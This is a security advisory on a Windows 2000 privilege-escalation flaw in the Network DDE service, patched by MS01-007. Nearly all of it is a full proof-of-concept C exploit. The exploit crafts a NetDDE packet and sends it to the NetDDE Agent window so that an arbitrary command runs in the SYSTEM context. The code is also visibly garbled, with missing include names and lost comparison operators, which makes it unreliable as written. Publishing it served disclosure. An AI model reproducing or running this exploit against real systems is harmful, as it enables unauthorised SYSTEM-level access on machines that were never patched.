Reported January 31, 2001, by @Stake.

VERSIONS AFFECTED
  • Windows 2000

DESCRIPTION

A privilege escalation vulnerability has been discovered in Windows 2000. A malicious user can launch commands in the SYSTEM context by exploiting the process that starts the Network DDE Service.

DEMONSTRATION

@Stake provided the following proof-of-concept code:

---------------------------------------------------------------------

// Copyright 2001 @Stake, Inc. All rights reserved.

#include
#include
#include

void NDDEError(UINT err)
\{
char error\[256\];
NDdeGetErrorString(err,error,256);
MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
exit(err);
\}

void *BuildNetDDEPacket(const char *svShareName, const char *svCmdLine, int *pBufLen)
\{
// Build NetDDE message
int cmdlinelen=strlen(svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
char *funky=(char *)malloc(funkylen);
if(funky

NULL) \{
MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return NULL;
\}

funky\[0x00\]=(char)0xE1; 
funky\[0x01\]=(char)0xDD;
funky\[0x02\]=(char)0xE1;
funky\[0x03\]=(char)0xDD; // 0xDDE1DDE1 (magic number)

funky\[0x04\]=(char)0x01;
funky\[0x05\]=(char)0x00;
funky\[0x06\]=(char)0x00;
funky\[0x07\]=(char)0x00; // 0x00000001 (?)

funky\[0x08\]=(char)0x01;
funky\[0x09\]=(char)0x00;
funky\[0x0A\]=(char)0x00;
funky\[0x0B\]=(char)0x00; // 0x00000001 (?)

funky\[0x0C\]=(char)0x05; // ShareModId
funky\[0x0D\]=(char)0x00;
funky\[0x0E\]=(char)0x00;
funky\[0x0F\]=(char)0x09;
funky\[0x10\]=(char)0x00;
funky\[0x11\]=(char)0x00;
funky\[0x12\]=(char)0x00;
funky\[0x13\]=(char)0x01;

funky\[0x14\]=(char)0xCC; // unused (?)
funky\[0x15\]=(char)0xCC;
funky\[0x16\]=(char)0xCC;
funky\[0x17\]=(char)0xCC;

memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name
memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute

*pBufLen=funkylen;
return funky;
\}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow)
\{
// Check command line
int cmdlinelen;
if(lpCmdLine

NULL || lpCmdLine\[0\]

'\0') \{
MessageBox(NULL,"Syntax is: netddmsg \[-s sharename\] ","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
\}
cmdlinelen=strlen(lpCmdLine);

char *szShare=NULL;
char *szCmdLine=lpCmdLine;
if(strncmp(lpCmdLine,"-s",2)

0) \{
szShare=lpCmdLine+2;
while ((*szShare)

' ')
szShare++;
char *szEnd=strchr(szShare,' ');
if(szEnd

NULL) \{
MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
\}
szCmdLine=szEnd+1;
*szEnd='\0';
\}

// Get NetDDE Window
HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
if(hwnd

NULL) \{
MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
return -1;
\}

// Get computer name
DWORD dwSize=256;
char svCompName\[256\];
GetComputerName(svCompName,&dwSize);

// Get list of shares to try
char *sharename,*sharenames;
if(szShare

NULL) \{
// Try all shares
UINT err;
DWORD dwNumShares;
err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) \{
NDDEError(err);
\}
sharenames=(char *)malloc(dwSize);
err=NDdeShareEnum(svCompName,0,(LPBYTE) sharenames,dwSize,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR) \{
NDDEError(err);
\}
\} else \{
// Try command line share
sharenames=(char *)malloc(strlen(szShare)+2);
memset(sharenames,'0',strlen(szShare)+2);
strcpy(sharenames,szShare);
\}

// Try all shares
for(sharename=sharenames;(*sharename)!='\0';sharename+=(strlen(sharename)+1)) \{

// Ask user
if(szShare

NULL) \{
char svPrompt\[256\];
_snprintf(svPrompt,256,"Try command through the '%s' share?",sharename);
if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)

IDNO)
continue;
\}

// Get NetDDE packet
void *funky;
int funkylen;
funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
if(funky==NULL)
return -1;

// Perform CopyData
COPYDATASTRUCT cds;
cds.cbData=funkylen;
cds.dwData=0;
cds.lpData=(PVOID)funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);

// Free memory
free(funky);

\}

// Free memory
free(sharenames);

return 0;
\}

VENDOR RESPONSE

Microsoft has released a security bulletin, MS01-007.

CREDIT
Discovered by
@Stake.